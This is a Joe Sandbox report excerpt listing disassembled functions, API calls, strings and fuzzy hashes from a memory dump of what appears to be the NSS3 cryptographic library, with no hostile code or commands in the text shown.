Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n~l
API String ID: 3163584228-1419236611
Opcode ID: 4409ecafa26fa3da23f705880ca860d86295110e5c58f9245056044d9274eeb7
Instruction ID: 5efa30560edb1046fc347638b8df6a44f6bb2acfa0848277842531c926dbb57e
Opcode Fuzzy Hash: 4409ecafa26fa3da23f705880ca860d86295110e5c58f9245056044d9274eeb7
Instruction Fuzzy Hash: 9031D231610622EFDB145F34DE08B96B7E8BB0131AF14863CD899D6B41EB30AA58CF81

Function 6C6D1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C6D4C64,?,-00000004), ref: 6C6D1EE2

Part of subcall function 6C731820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C6D1D97,?,?), ref: 6C731836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D4C64,?,-00000004), ref: 6C6D1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D4C64,?,-00000004), ref: 6C6D1F37
DER_DecodeTimeChoice_Util.NSS3(?,dLml,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6D4C64,?,-00000004), ref: 6C6D1F53

Strings

dLml, xrefs: 6C6D1F2B, 6C6D1F51

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLml
API String ID: 3216063065-2027418485
Opcode ID: aedf5418281b41b5f73163babd8ca9db27593a77851e419a5b96f2225a23021c
Instruction ID: 60bfd568bbfb3fa9ec61ba5756d8dff0143d09c9393ff003598440bec1a44bf3
Opcode Fuzzy Hash: aedf5418281b41b5f73163babd8ca9db27593a77851e419a5b96f2225a23021c
Instruction Fuzzy Hash: 9521807250421AAFC710CE6ADD04ADBB7E9AB847A9F010929EC58C3A40F330F519CBD6

Function 6C6C0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6C0BDE), ref: 6C6C0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6C0BDE), ref: 6C6C0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6C0BDE), ref: 6C6C0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6C0BDE), ref: 6C6C0E32

Strings

%s incr => %d (find lib), xrefs: 6C6C0E2D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 46ce0ccd7111b32d0dbee2cd6388305de410d6b2a24bed57a85f388cf0d86ad8
Instruction ID: e938ba17bd055c8138ffb1c1603236312c46974416cf8da29b05e1bf62e79b58
Opcode Fuzzy Hash: 46ce0ccd7111b32d0dbee2cd6388305de410d6b2a24bed57a85f388cf0d86ad8
Instruction Fuzzy Hash: A801F1B27402149FE7208F658C49E2773A8DB49B08B04483DE909D3A42E662EC19C6E2

Function 6C701CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C701CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C701CF1

Part of subcall function 6C7E09D0: PR_Now.NSS3 ref: 6C7E0A22
Part of subcall function 6C7E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7E0A35
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7E0A66
Part of subcall function 6C7E09D0: PR_GetCurrentThread.NSS3 ref: 6C7E0A70
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7E0A9D
Part of subcall function 6C7E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7E0AC8
Part of subcall function 6C7E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7E0AE8
Part of subcall function 6C7E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7E0B19
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7E0B48
Part of subcall function 6C7E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7E0C76
Part of subcall function 6C7E09D0: PR_LogFlush.NSS3 ref: 6C7E0C7E

Strings

C_Initialize, xrefs: 6C701CD3
pInitArgs = 0x%p, xrefs: 6C701CEC
n~l, xrefs: 6C701D09, 6C701D30

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$n~l
API String ID: 1907330108-2526191506
Opcode ID: 24e3a78fb77c469842597b08c97ba7a808be7120fa5c420d03e39a01d71afb9a
Instruction ID: e5cabdf2acfe6cc0a1ce7b3bee1992e0d6ed1c383f3e9adfb8cbd60727ee5413
Opcode Fuzzy Hash: 24e3a78fb77c469842597b08c97ba7a808be7120fa5c420d03e39a01d71afb9a
Instruction Fuzzy Hash: 08012DB53011809BDB309B94DA5DB5A37B5AB8631EF045835E40D92612DB38D849DBD2

Function 6C77AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]vl,00000000,?,?,6C756AC6,?), ref: 6C77AC2D

Part of subcall function 6C71ADC0: TlsGetValue.KERNEL32(?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE10
Part of subcall function 6C71ADC0: EnterCriticalSection.KERNEL32(?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE24
Part of subcall function 6C71ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C6FD079,00000000,00000001), ref: 6C71AE5A
Part of subcall function 6C71ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE6F
Part of subcall function 6C71ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE7F
Part of subcall function 6C71ADC0: TlsGetValue.KERNEL32(?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AEB1
Part of subcall function 6C71ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AEC9

PK11_FreeSymKey.NSS3(?,@]vl,00000000,?,?,6C756AC6,?), ref: 6C77AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]vl,00000000,?,?,6C756AC6,?), ref: 6C77AC59
free.MOZGLUE(8CB6FF01,6C756AC6,?,?,?,?,?,?,?,?,?,?,6C765D40,00000000,?,6C76AAD4), ref: 6C77AC62

Strings

@]vl, xrefs: 6C77AC05

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]vl
API String ID: 1595327144-3814050241
Opcode ID: 2f7c6c87a1e2a96faafcbd96562578e8c52b5436fa4e3fcd33008e0c6933e6a7
Instruction ID: 810b6e94d02dee686b92c66a06ed89db0c3b3e51b098728cfc9932be43db34b7
Opcode Fuzzy Hash: 2f7c6c87a1e2a96faafcbd96562578e8c52b5436fa4e3fcd33008e0c6933e6a7
Instruction Fuzzy Hash: 9D017CB56006049BEF10CF14EAC5B5677A8AB05B2CF188078E8498F706D734E808CBB1

Function 6C669C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C669CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C669D45
EnterCriticalSection.KERNEL32(?), ref: 6C669D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C669DDE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e0902d9658426d217410c595cb40ee2cccb2a2f5e76db24c3d9eb54698d38110
Instruction ID: 00b02d96646a75354ba16d9d8df8148e3e9d4089a41dd2ae9575d9fed7192266
Opcode Fuzzy Hash: e0902d9658426d217410c595cb40ee2cccb2a2f5e76db24c3d9eb54698d38110
Instruction Fuzzy Hash: 12A1BF317041008BEB289F66D998BAE7771BF8270DF18543DD80A47E41CB3A9846CBDB

Function 6C6F1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C6F1ECC

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

TlsGetValue.KERNEL32 ref: 6C6F1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C6F1EEF
PR_ExitMonitor.NSS3(?), ref: 6C6F1F37
PR_Unlock.NSS3(?), ref: 6C6F1F44

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: adddd83ea4def48b8134a3e537250b1b530109eb1334bf3cef901ffe60cda7b5
Instruction ID: 82c148a6238d23bd5020a69b84549bfb5510d78894f795f9538263a42eb9f23b
Opcode Fuzzy Hash: adddd83ea4def48b8134a3e537250b1b530109eb1334bf3cef901ffe60cda7b5
Instruction Fuzzy Hash: 9171B2B29093019FD710CF24D840A57B7F2FF89398F144929E86993B21E731F95ACB96

Function 6C77DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C77DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C77DE77

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 4fefa1a60edb2fd6a3b80343550a7bccd4e830c3af3a2d3992c9525abfbe467f
Instruction ID: dd0142803bcec147613ba94f48c4ffd6ce44dbd44f20196920aa8bae3ae195e7
Opcode Fuzzy Hash: 4fefa1a60edb2fd6a3b80343550a7bccd4e830c3af3a2d3992c9525abfbe467f
Instruction Fuzzy Hash: B6715571A00318CBDF20CFA9C684699B7B4BFA9718F25817ED9596B702D770A901CFA4

Function 6C6EDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(D958E852,6C6F1397,5B5F5EC0,?,?,6C6EB1EE,2404110F,?,?), ref: 6C6EAB3C
Part of subcall function 6C6EAB10: free.MOZGLUE(D958E836,?,6C6EB1EE,2404110F,?,?), ref: 6C6EAB49
Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(5D5E6C8E), ref: 6C6EAB5C
Part of subcall function 6C6EAB10: free.MOZGLUE(5D5E6C82), ref: 6C6EAB63
Part of subcall function 6C6EAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C6EAB6F
Part of subcall function 6C6EAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C6EAB76

TlsGetValue.KERNEL32(?,?,6C6EB266,6C6F15C6,?,?,6C6F15C6), ref: 6C6EDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C6EB266,6C6F15C6,?,?,6C6F15C6), ref: 6C6EDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C6EB266,6C6F15C6,?,?,6C6F15C6), ref: 6C6EE029
PK11_IsLoggedIn.NSS3 ref: 6C6EE046

Part of subcall function 6C6F8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FAF
Part of subcall function 6C6F8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FD1
Part of subcall function 6C6F8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FFA
Part of subcall function 6C6F8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C6F9013
Part of subcall function 6C6F8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6F9042
Part of subcall function 6C6F8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F905A
Part of subcall function 6C6F8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C6F9073
Part of subcall function 6C6F8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6F9111

PR_Unlock.NSS3(?,?,?,?,6C6EB266,6C6F15C6,?,?,6C6F15C6), ref: 6C6EE149

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 8448596163c4d973a4e357bb901f724478caf006244ec2f97fac06733f281da1
Instruction ID: f7f225728e36b4beb6b9fcc68f1bdac9f8e23ab431d5ca5625546350e0248073
Opcode Fuzzy Hash: 8448596163c4d973a4e357bb901f724478caf006244ec2f97fac06733f281da1
Instruction Fuzzy Hash: 06517C7060A601CFDB10DF28C58476ABBF0BF49318F15886ED8998B751D731E885CBDA

Function 6C6FBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C6FBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6FBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6D9F71,?,?,00000000), ref: 6C6FBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6FBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6FC014

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: bc9dacc636a9c6373426e9baa3122855fc2ac1aade058e3dbe1df6557be923ca
Instruction ID: 3f0b3bc759be847312040af95812356a3c4afdd4490b88e41fc6565249105166
Opcode Fuzzy Hash: bc9dacc636a9c6373426e9baa3122855fc2ac1aade058e3dbe1df6557be923ca
Instruction Fuzzy Hash: BB41C871A022059BFB10CE66DD44BBA77BAAF85308F114129DC29D7B41FB31E906CBD5

Function 6C6CEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6CEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6CEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6CEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6CEEEB
free.MOZGLUE(?), ref: 6C6CEEF6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 90f73b4c79413a866e57e424fb7d83ef98f0d755121cae22e27cf028a4908bed
Instruction ID: b965f95923c8f44590f742be5d7f36c6b38480faa42dc02543c2f7dd5d366901
Opcode Fuzzy Hash: 90f73b4c79413a866e57e424fb7d83ef98f0d755121cae22e27cf028a4908bed
Instruction Fuzzy Hash: 823109B17006009BE7309F2CCC467A67BF4FB4A399F140539E85A87A51D735E415CBDA

Function 6C6E1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6E1F1C

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C7F9EBC), ref: 6C6E1FB8
SEC_ASN1EncodeItem_Util.NSS3(6C7F9E9C,?,?,6C7F9E9C), ref: 6C6E200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C6E2020

Part of subcall function 6C6D6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C6DAD50,?,?), ref: 6C6D6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6E2030

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: ee0a35edc699dcf16c4d7809ef4b6e0d644b1d04b28dd87270acc274162a85da
Instruction ID: 0831ef33326c0ecaa1a98e3ac873e859d869324929a7af743b61bc091531dad8
Opcode Fuzzy Hash: ee0a35edc699dcf16c4d7809ef4b6e0d644b1d04b28dd87270acc274162a85da
Instruction Fuzzy Hash: BA213BB69065066BE7004F15DD44FAA77A9FF4A31CF140212E82892B81E731E528C7E9

Function 6C6D1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6D1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6D1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C6D1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C6D1EAD

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: db96204dc13d4a16160544517d31797c5adcc0bd54ddcdadc4ab9b2dd878a395
Instruction ID: 092244fd6c031bce825c2a70173cf5b39a84a722081bb4193e73547d47dcb5ee
Opcode Fuzzy Hash: db96204dc13d4a16160544517d31797c5adcc0bd54ddcdadc4ab9b2dd878a395
Instruction Fuzzy Hash: EA216772E04315A7DB008E68DC44B8BB394DB88339F068238EC1C57781E770E90A87E6

Function 6C7E1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C7E1E5C

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

PR_Lock.NSS3(00000000), ref: 6C7E1E75
